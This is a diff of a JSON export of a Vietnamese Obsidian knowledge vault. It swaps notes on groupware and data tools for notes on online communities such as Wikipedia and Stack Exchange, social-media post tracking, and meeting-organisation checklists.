2 đoạn đầu | 46 | 46 | 1 |\n| Ảnh trang chủ | 26 | 26 | 1 |\n| Ảnh trang chủ , link dưới comment | | | |", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-07-16T16:27:00.000Z", - "id": "QS" + "Ngày cập nhật": "2024-08-20T13:53:00.000Z", + "id": "Qg" }, { - "Tiêu đề": "Zalo (gọi video)", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Phần mềm làm việc nhóm (groupware)/Phần mềm gọi video/Zalo (gọi video)", + "Tiêu đề": "LinkedIn", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Quả Cầu/LinkedIn", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { + "Tên dự án": "Ξ Kết quả truyền thông", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Giới hạn của bản miễn phí:: \nGiới hạn về mặt công nghệ:: • Chỉ cho một thiết bị vào cùng lúc
    • Không chia phòng được
    • Không kết nối với các dịch vụ khác được\nƯu điểm::\n", + "Toàn bộ nội dung": "[[Các buổi đáp ứng nhu cầu học lập trình]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-07-27T14:34:00.000Z", - "id": "QT" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-02-26T09:58:00.000Z", + "id": "Qh" }, { - "Tiêu đề": "Zoom", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Phần mềm làm việc nhóm (groupware)/Phần mềm gọi video/Zoom", + "Tiêu đề": "Profile QC", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Quả Cầu/Profile QC", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { + "Tên dự án": "Ξ Kết quả truyền thông", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Giới hạn của bản miễn phí:: Tối đa 45 phút khi có 3 thiết bị tham gia trở lên\nGiới hạn về mặt công nghệ:: \nƯu điểm::\n\n", + "Toàn bộ nội dung": "# [[Các buổi đáp ứng nhu cầu học lập trình]]\n[[16-11]] 23:55 share từ [[Facebook page QC]] https://www.facebook.com/qua.cau.the.sphere/posts/pfbid02J7yUYGFa5ijJMG79h1fXbrn1g7tvdDC5RMPxzTe4QQdddyypAF4yJFbqRymXjrLjl\n\n[[29-02]] 23:56 4 react, 1 share\n[[29-02]] 23:52 đăng ảnh [[Đồ thị nhu cầu.svg]] https://www.facebook.com/qua.cau.the.sphere/posts/pfbid0pwAGSypSidVCrW3D2A1MKz3o9FvnDPwK8pfQmfDwyS2bXta8bHyCHC7cvqZM474Jl\n23:59 2 like\n[[21-03]] 20:46 12 react, 6 share\n\n# [[Bàn làm việc Google Calendar]]\n[[29-12]]22:30 share từ [[Facebook page QC]] https://www.facebook.com/qua.cau.the.sphere/posts/pfbid02coaf6JZ4P3qLTBrGjncTaXpLPwjgRtHZXpQDYf2E16nuCpGHKzEKtn1xS4PYvbGfl\n[[31-12]]\n0 0 0 \n \n# [[Tự động tạo liên kết UTM hoàn chỉnh chỉ bằng những thông tin tối thiểu (tên bài, nơi đăng)]] \n[[23-02]] 19:27 https://www.facebook.com/qua.cau.the.sphere/posts/pfbid02ta8zL5gLWm3nL7aJS3rwKV6GyjcpvvPCuJeGgrfSi3Dxbu23TEZMsBjYXn9Pq27Ul (share từ [[Facebook page QC]]) \n[[24-02]] 13:07 1 react, 1 share\n\n# [[Câu hỏi khảo sát]]\n[[24-02]] 14:33 https://www.facebook.com/qua.cau.the.sphere/posts/pfbid0am81HWBQLSxBMY9ZCZwxLxRQtmipmA6tYrcb68McLr1oq2kYMHbasFz154biUqYWl\n\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-07-16T16:27:00.000Z", - "id": "QU" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-03-21T13:46:00.000Z", + "id": "Qi" }, { - "Tiêu đề": "ExcaliDraw", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Phần mềm làm việc nhóm (groupware)/Phần mềm minh hoạ cho nhóm/ExcaliDraw", + "Tiêu đề": "📐 Dự án", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { + "Tên dự án": "📐 Dự án.md", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "```dataview\nLIST \nFROM \"📐 Dự án\" \nWHERE file.name=split(file.folder, \"/\" )[1]\n```\n# Mục tiêu tháng 11/2023\nNhu cầu:: [[Kendy giải quyết được vấn đề trả lãi]] \nThành quả cần có:: [[Kế hoạch xây dựng cộng đồng phát triển Trấn Kỳ|Một đội ngũ có hứng thú phát triển Trấn Kỳ]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-07-16T16:27:00.000Z", - "id": "QV" + "Ngày tạo": "2023-10-28T15:40:00.000Z", + "Ngày cập nhật": "2023-11-04T19:15:00.000Z", + "id": "Qj" }, { - "Tiêu đề": "Miro", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Phần mềm làm việc nhóm (groupware)/Phần mềm minh hoạ cho nhóm/Miro", + "Tiêu đề": "Cách để tìm công cụ đúng nhu cầu của mình", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Cách để tìm công cụ đúng nhu cầu của mình", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-07-16T16:27:00.000Z", - "id": "QW" + "Ngày tạo": "2024-09-04T15:48:00.000Z", + "Ngày cập nhật": "2024-09-04T15:48:00.000Z", + "id": "Qk" }, { - "Tiêu đề": "Discord, Messenger và Telegram", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Phần mềm làm việc nhóm (groupware)/Phần mềm xây dựng cộng đồng/Discord, Messenger và Telegram", + "Tiêu đề": "LibGen", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Cộng đồng online/LibGen", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "| Discord | Messenger | Telegram |\n| -------------------------- | -------------- | -------- |\n| Server | Community | Group |\n| Text Channel/Forum Channel | Community Chat | Topic |\n| Channel Thread/Forum Post | Sidechat | ❌ |\n\nSidechat của cộng đồng Messenger tương đương với channel thread hoặc forum post trên Discord, nhưng có tính tạm thời hơn\n[[Server Discord]]", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-16T16:27:00.000Z", - "id": "QX" + "Ngày tạo": "2024-08-01T17:58:00.000Z", + "Ngày cập nhật": "2024-08-01T17:58:00.000Z", + "id": "Ql" }, { - "Tiêu đề": "Group Facebook", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Phần mềm làm việc nhóm (groupware)/Phần mềm xây dựng cộng đồng/Group Facebook", + "Tiêu đề": "Khi được trò chuyện với người cùng quan tâm thì việc nghĩ không nhức đầu. Khi không có thì việc nghĩ nhức đầu", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Cộng đồng online/Obsidian/Khi được trò chuyện với người cùng quan tâm thì việc nghĩ không nhức đầu. Khi không có thì việc nghĩ nhức đầu", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Cộng đồng trên Facebook là cộng đồng của Facebook]]\n", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-07-16T16:27:00.000Z", - "id": "QY" + "id": "Qm" }, { - "Tiêu đề": "Group Zalo", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Phần mềm làm việc nhóm (groupware)/Phần mềm xây dựng cộng đồng/Group Zalo", + "Tiêu đề": "Không reply sau 3 tháng", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Cộng đồng online/Obsidian/Không reply sau 3 tháng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "Khái niệm:: \n[Why do Internet forums tend to prohibit responding to inactive threads?](https://communitybuilding.stackexchange.com/q/2632/961)\n\nhttps://discord.com/channels/686053708261228577/707816848615407697/1280465926533419078 ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-07-16T16:27:00.000Z", - "id": "QZ" + "Ngày tạo": "2024-08-31T10:17:00.000Z", + "Ngày cập nhật": "2024-09-03T10:14:00.000Z", + "id": "Qn" }, { - "Tiêu đề": "Phần mềm xây dựng cộng đồng", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Phần mềm làm việc nhóm (groupware)/Phần mềm xây dựng cộng đồng/Phần mềm xây dựng cộng đồng", + "Tiêu đề": "SO không xem mình là trang dạy kiến thức", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Cộng đồng online/Stack Exchange/SO không xem mình là trang dạy kiến thức", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Discord:\n- Bot, API\n- Nhiều kênh chat\n- Thread, forum\n\nFacebook:\n- Nhiều kênh chat nhưng phải là group public\n", + "Toàn bộ nội dung": "Lĩnh vực:: \nNhu cầu công nghệ::\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-07-27T14:32:00.000Z", - "id": "Qa" + "Ngày tạo": "2024-08-25T18:21:00.000Z", + "Ngày cập nhật": "2024-08-26T06:49:00.000Z", + "id": "Qo" }, { - "Tiêu đề": "Server Discord", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Phần mềm làm việc nhóm (groupware)/Phần mềm xây dựng cộng đồng/Server Discord", + "Tiêu đề": "Stack Exchange", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Cộng đồng online/Stack Exchange", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "| Discord | Đặc điểm | Phù hợp cho | Cấu trúc dự án | Cách xác định |\n| ----------------- | ------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------- | ------------------------------------------------------------------------------ |\n| Category | | | Heading | |\n| Text channel | Tạo bởi người quản lý. Có thể chọn công khai hoặc riêng tư | Những dự án quan trọng. Dùng để bàn chiến lược, công việc, là những thứ tạo ra sản phẩm. Thấy có thể phân cấp tiếp. Đến từ nhu cầu tổ chức. Kết nối với các dự án, sản phẩm khác | Normal text | |\n| Thread | Người tham gia có thể tạo riêng từ đầu hoặc tách ra từ một tin nhắn từ kênh lớn | Các chủ đề hơi đi xa từ chủ đề chính | Bullet | |\n| Forum channel | Tạo bởi người quản lý. Có thể chọn công khai hoặc riêng tư | | List heading | |\n| Forum post | Người tham gia tạo riêng từ đầu, tất cả đều hoặc công khai hoặc riêng tư | Những cuộc thảo luận không quan trọng. Để hiểu thêm về quan điểm của nhau. Không thấy còn gì để phân cấp nữa mà chỉ thấy rẽ nhánh song song. Đến từ nhu cầu của bên ngoài | Bullet | Các chủ đề để thảo luận, các dự án giống nhau tập trung cho một cá nhân cụ thể |\n| Pinned forum post | | | Bullet | Thảo luận chung |\n\nanh nghĩ heading thì nên là channel group, normal text thì là channel, còn bullet thì là forum\nnhưng ví dụ như cái ⁠CKM là anh mới đẻ ra. Hiện tại thì nó chắc chỉ là thảo luận thôi nên là một topic forum thì tốt nhất. Nhưng sau đó có thể nó phát triển lớn hơn thì tách ra làm channel bình thường. Lúc đó thì nó sẽ có các thread riêng, chứ bên trong nó ko phải là forum nữa\n\nthread dành cho các thảo luận\n\n\n\n\n## A Vùng đất Quả Cầu\nA Đám mây chim sáo lông vàng\nA Hệ thống trao đổi thông tin và quản trị dữ liệu\n\n## B Mạng kết nối nhu cầu\nB Đáp ứng nhu cầu:\n- Ăn uống\n- Tiền bạc\n- Nơi họp\n\nB Sự kiện, cơ hội, tuyển dụng, rao vặt\nB Nền kinh tế không dùng tiền\n\n## C Quản lý dự án và công cụ nghĩ\nC Các buổi hỗ trợ người làm nghiên cứu, tự học lập trình hoặc quản lý dự án:\n- Cào web\n- Xử lý dữ liệu\n- Nhân văn số\n- Sắp chữ\n- Quản lý công việc, quản lý tổ chức\n- Quản lý và chia sẻ tri thức\n- Tiếp thị số\n\nC Quản lý thông tin, tri thức cho cộng đồng và hệ sinh thái\n- Vault Obsidian, quản lý dự án và công cụ nghĩ\n- Vault Tiếp thị số, xử lý dữ liệu và lập trình\n\nC Giải pháp phần mềm:\n- Tạo liên kết tiếp thị và báo cáo lượng truy cập\n- Tạo hạch toán kế toán và báo công nợ tự động\n\n## D Học kỹ năng, phát triển bản thân\nD Bước Chân\n\n## E Giải quyết sự bất lực học được\nE Mạng lưới người thân, bạn bè của người có niềm tin tiêu cực\nE Mạng lưới người thân, bạn bè của người gây tổn thương cho người khác\nE Mạng lưới người thân, bạn bè của người kiệt quệ vì nợ\nE Hỗ trợ cá nhân:\n- Dấu vết thiên di\n- Sea of Clover\n- Trấn Kỳ\n- Eve\n\n## F Niềm tin và đối thoại\nF Thảo luận các chủ đề:\n- Tự trị và can thiệp\n- Cái tốt, cái đẹp và cái thoải mái\n- Thế nào là một người bạn?\n- Lắng nghe và tò mò\n- Tâm linh và khoa học\n\nF Tạo môi trường thúc đẩy sự đối thoại và khoẻ mạnh:\n- Humane technology\n- Mạng lưới niềm tin\n- Nữ quyền và phát triển bền vững\n\nF Hỗ trợ người bị xem là crackpot:\n- CNVSS\n\n## G Nghiên cứu liên ngành\nG Bộ sưu tập từ điển chuyên ngành\nG Thảo luận các chủ đề:\n- Đạo đức, chính trị\n- Lý tính, khoa học, diễn ngôn\n- Triết học ngôn ngữ, triết học tinh thần và logic học\n- Khoa học sự sống, khoa học nhận thức, khoa học phức hợp\n- Vật lý và toán học:\n\t- Xu thế vận động của vật chất và nguyên lý tác dụng tối thiểu\n\t- Sóng, tần số, sự cộng hưởng và phép biến đổi Fourier\n\t- Sự đối xứng và lý thuyết nhóm\n\t- Điểm vô cực, hình học xạ ảnh và quả cầu Riemann\n- Lý thuyết về góc nhìn\n", + "Toàn bộ nội dung": "- Comment hỏi tại sao bị downvote sẽ bị xoá [Is asking for \"how to improve the question\" a reason to delete a comment?](https://meta.stackoverflow.com/q/386369/3416774)\n- Không thể bắt buộc giải thích tại sao downvote [Why isn't it required to provide comments/feedback for downvotes, and why are proposals suggesting this so negatively received?](https://meta.stackoverflow.com/q/357436/3416774)\n- Mod quản lý một ngày cả trăm flag", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-07-16T16:27:00.000Z", - "id": "Qb" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-26T06:49:00.000Z", + "id": "Qp" }, { - "Tiêu đề": "Tìm công cụ phù hợp", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Phần mềm làm việc nhóm (groupware)/Tìm công cụ phù hợp", + "Tiêu đề": "Teamliquid, Liquidpedia, tl.net", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Cộng đồng online/Teamliquid, Liquidpedia, tl.net", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# [Tool Finder: Productivity Tools Reviews, Guides & News](https://toolfinder.co/)\n", + "Toàn bộ nội dung": "| Site | Description | Game |\n| ------------------------------------------------------------------------------------- | --------------------------------------------------------- | ----------------- |\n| teamliquid.net | Private website of the organization Team Liquid | Many |\n| tl.net | Community forum | Mostly BW and SC2 |\n| liquipedia | Community wikis | Many |\n| [TeamLiquid Progaming Database](https://tl.net/tlpd/ \"TeamLiquid Progaming Database\") | A database of professional players, tournaments and games | Mostly BW and SC2 |\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-07-01T07:03:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-07-16T16:27:00.000Z", - "id": "Qc" + "id": "Qq" }, { - "Tiêu đề": "Airtable", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tổ chức, sắp xếp dữ liệu/Chương trình/Airtable", + "Tiêu đề": "Trường phái bớt và trường phái thêm", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Cộng đồng online/Wikipedia/Trường phái bớt và trường phái thêm", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [Deletionism and inclusionism in Wikipedia - Wikipedia](https://en.wikipedia.org/wiki/Deletionism_and_inclusionism_in_Wikipedia)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-02T06:21:00.000Z", - "id": "Qd" + "Ngày tạo": "2024-08-26T06:48:00.000Z", + "Ngày cập nhật": "2024-08-26T06:49:00.000Z", + "id": "Qr" }, { - "Tiêu đề": "Fibery tập trung vào xử lý dữ liệu để ra quyết định và không chịu tập trung vào việc nhập liệu, markdown hay graphview, canvas", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tổ chức, sắp xếp dữ liệu/Chương trình/Fibery tập trung vào xử lý dữ liệu để ra quyết định và không chịu tập trung vào việc nhập liệu, markdown hay graphview, canvas", + "Tiêu đề": "Uy quyền sự thật của Wikipedia", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Cộng đồng online/Wikipedia/Uy quyền sự thật của Wikipedia", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[Kendy]]", + "Toàn bộ nội dung": "[Wikipedia:Contents - Wikipedia](https://en.wikipedia.org/wiki/Wikipedia:Contents \"Wikipedia:Contents - Wikipedia\")\n[List of lists of lists - Wikipedia](https://en.wikipedia.org/wiki/List_of_lists_of_lists \"List of lists of lists - Wikipedia\")\n\nDanh sách thành viên cố vấn \n[Wikipedia:Dự án Phát triển cộng đồng/Danh sách thành viên cố vấn – Wikipedia tiếng Việt](https://vi.wikipedia.org/wiki/Wikipedia:D%E1%BB%B1_%C3%A1n_Ph%C3%A1t_tri%E1%BB%83n_c%E1%BB%99ng_%C4%91%E1%BB%93ng/Danh_s%C3%A1ch_th%C3%A0nh_vi%C3%AAn_c%E1%BB%91_v%E1%BA%A5n \"Wikipedia:Dự án Phát triển cộng đồng/Danh sách thành viên cố vấn – Wikipedia tiếng Việt\")\n\nNhiều người nghi ngờ Wikipedia về tính nguyên bản hoặc uy quyền của nó, nhưng mình thấy thật ra cộng đồng tình nguyện viên Wikipedia cũng sẵn sàng tự phê bình Wikipedia chi tiết chứ không phải là không. Tại sao YouTube và Facebook cũng sử dụng Wikipedia để kiểm tra tin giả?\n- [Criticism of Wikipedia - Wikipedia](https://en.wikipedia.org/wiki/Criticism_of_Wikipedia \"Criticism of Wikipedia - Wikipedia\")\n- [List of Wikipedia controversies - Wikipedia](https://en.wikipedia.org/wiki/List_of_Wikipedia_controversies \"List of Wikipedia controversies - Wikipedia\")\n- [Wikipedia:Replies to common objections - Wikipedia](https://en.wikipedia.org/wiki/Wikipedia:Replies_to_common_objections#My_prose \"Wikipedia:Replies to common objections - Wikipedia\")\n- [Reliability of Wikipedia - Wikipedia](https://en.wikipedia.org/wiki/Reliability_of_Wikipedia \"Reliability of Wikipedia - Wikipedia\")\n- [Wikipedia:Wikipedia is not a reliable source - Wikipedia](https://en.wikipedia.org/wiki/Wikipedia:Wikipedia_is_not_a_reliable_source \"Wikipedia:Wikipedia is not a reliable source - Wikipedia\")\n- [Wikipedia:Why Wikipedia is so great](https://en.wikipedia.org/wiki/Wikipedia:Why_Wikipedia_is_so_great \"Wikipedia:Why Wikipedia is so great\")\n- [Wikipedia Review](https://wikipediareview.com/ \"Wikipedia Review\")\n- [Wikipediocracy](https://wikipediocracy.com/ \"Wikipediocracy\")\n\n[[❓Wikipedia là góc nhìn thượng đế, nhưng nó lại là cơ chế để tất cả mọi người là đồng tác giả]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-08T13:16:00.000Z", - "Ngày cập nhật": "2024-09-02T06:21:00.000Z", - "id": "Qe" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-08-26T06:49:00.000Z", + "id": "Qs" }, { - "Tiêu đề": "Fibery", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tổ chức, sắp xếp dữ liệu/Chương trình/Fibery", + "Tiêu đề": "Đóng góp vào Wikipedia", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Cộng đồng online/Wikipedia/Đóng góp vào Wikipedia", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Những thứ Fibery muốn giải quyết\n1. Knowledge lives in many tools (Notion, Miro, Canny, Slack, Jira)\n2. Discussions out of context\n3. Customers feedback handling process is poor\n4. Features prioritization process is ad-hoc and mostly based on gut feelings\n5. Connection between features specification and features as work items is weak\n\n[Fibery End Game (product company example)](https://fibery.io/blog/fibery-end-game-product-company-example/)\n\n![](https://fibery.io/blog/knowledege-architecture-cheatsheet.png)\n\n\n[[Giao diện block cho phép người dùng linh hoạt hơn mà vẫn giữ được sự cấu trúc]]\nĐiểm yếu của Fibery:\n- Chạy chậm: điểm yếu muôn thuở của các ứng dụng chạy trên máy chủ\n- Tính phí \n- Những hàm cơ bản cũng không có\n", + "Toàn bộ nội dung": "![Wikipedia Editing Basics 101 - YouTube](https://www.youtube.com/playlist?list=PLuC9_EqBCEM-yzf3jeFkRTf_zzlIoEuav)\n![Tạo bài Wikipedia Tiếng Việt - tập 2.1 - YouTube](https://www.youtube.com/watch?v=DQQiwZ_7_qw&list=PLcHz-Rc0rct2n2C-6v0f6C9_w1VwJG57u&index=1)\n![Wikipedia editing basics - YouTube](https://www.youtube.com/playlist?list=PLVx9pX-VnGVjAVQo8Qv_ohNP5r7JuzhRo)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-02T06:39:00.000Z", - "id": "Qf" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-26T06:49:00.000Z", + "id": "Qt" }, { - "Tiêu đề": "Git giúp ta du hành thời gian", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tổ chức, sắp xếp dữ liệu/Chương trình/Git/Git giúp ta du hành thời gian", + "Tiêu đề": "Giải pháp kỹ thuật", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "```dataview\nLIST rows.file.link\nFROM \"📜Tài nguyên/Giải pháp kỹ thuật\" \nWHERE file.name!=this.file.name\nGROUP BY split(file.folder, \"/\")[2]\n```\nGiải pháp kỹ thuật:: [[Giải pháp kỹ thuật]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-02T06:21:00.000Z", - "id": "Qg" + "Ngày tạo": "2024-02-29T16:53:00.000Z", + "Ngày cập nhật": "2024-09-01T10:27:00.000Z", + "id": "Qu" }, { - "Tiêu đề": "Git mở ra nhiều khả thể trong việc hợp tác", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tổ chức, sắp xếp dữ liệu/Chương trình/Git/Git mở ra nhiều khả thể trong việc hợp tác", + "Tiêu đề": "Các công việc tổ chức một buổi họp", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Hậu cần/Các công việc tổ chức một buổi họp", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "- [ ] Xem nội dung họp trong lịch họp hằng tuần\n- [ ] Lên danh sách chủ đề các buổi họp để mọi người lựa chọn\n- [ ] Đăng thông báo lên group\n\t- [ ] Xác định ngày họp nhiều người tham gia được nhất\n - [ ] Tạo lịch Google Calendar\n- [ ] Chọn nơi họp\n- [ ] Khởi động một chút cho thêm không khí\n- [ ] Tạo khảo sát cuối buổi\n- [ ] Ghi chép\n\nNếu có mời đối tác khác vào họp chung:\n- [ ] Chuẩn bị nội dung họp\n- [ ] Chuẩn bị phiếu khảo sát nhu cầu của họ\n- [ ] Gửi cho các bên nội dung họp\n\n[[Kinh nghiệm setup khi có cả online và offline|Nếu có thành viên online thì cần đảm bảo]]:\n- [ ] Mở trước 5 phút\n- [ ] Camera quan sát được cả nhóm\n- [ ] Mic và loa rõ\n- [ ] Màn hình để mọi người thấy được sự hiện diện của họ\n\nCấu trúc một cuộc họp 3 tiếng:\n- 30 phút đầu: trò chuyện linh tinh, làm quen, chuẩn bị, chờ người đến trễ\n- 30 phút cuối: mọi người đánh giá mức độ hài lòng trong buổi họp và đưa ra mong muốn cho buổi kế tiếp\n\t- Nãy giờ em thấy ấn tượng nhất ý nào/ý nào em thấy thích nhất\n\t- Có điều gì mình có thể làm tốt hơn ko\n\t- Còn thắc mắc vấn đề nào\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-02T06:21:00.000Z", - "id": "Qh" + "Ngày cập nhật": "2024-09-02T18:21:00.000Z", + "id": "Qv" }, { - "Tiêu đề": "Git, GitHub, GitKraken", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tổ chức, sắp xếp dữ liệu/Chương trình/Git/Git, GitHub, GitKraken", + "Tiêu đề": "Kinh nghiệm setup khi có cả online và offline", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Hậu cần/Kinh nghiệm setup khi có cả online và offline", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nhu cầu công nghệ::\nGiải pháp kỹ thuật::", + "Mô tả bài đăng": "Dành cho những người nghèo cần họp", + "Toàn bộ nội dung": "> [!important] Nguyên tắc chung\n> Trong phòng chỉ có một thiết bị thu âm, và thiết bị đó cũng là thiết bị phát âm duy nhất\n\n## Yêu cầu tối thiểu\nNhững thứ cơ bản:\n- 🔊Loa nghe rõ, \n- 🎙️Mic hoạt động ổn định,\n- 🌐Internet ổn định\n\nNgười thuyết trình cần:\n- Bật cam,\n- Bật chia sẻ màn hình trong Zoom\n- Bật các chương trình khác khi chia sẻ: trình duyệt, PowerPoint, Google Docs, Obsidian, v.v. \n\nTất cả những cái này đều khá tốn RAM. Một số webapp như Google Docs hay Notion chỉ bật mình nó thôi là đã thấy hơi cà giựt. Các chương trình khác như Obsidian hay 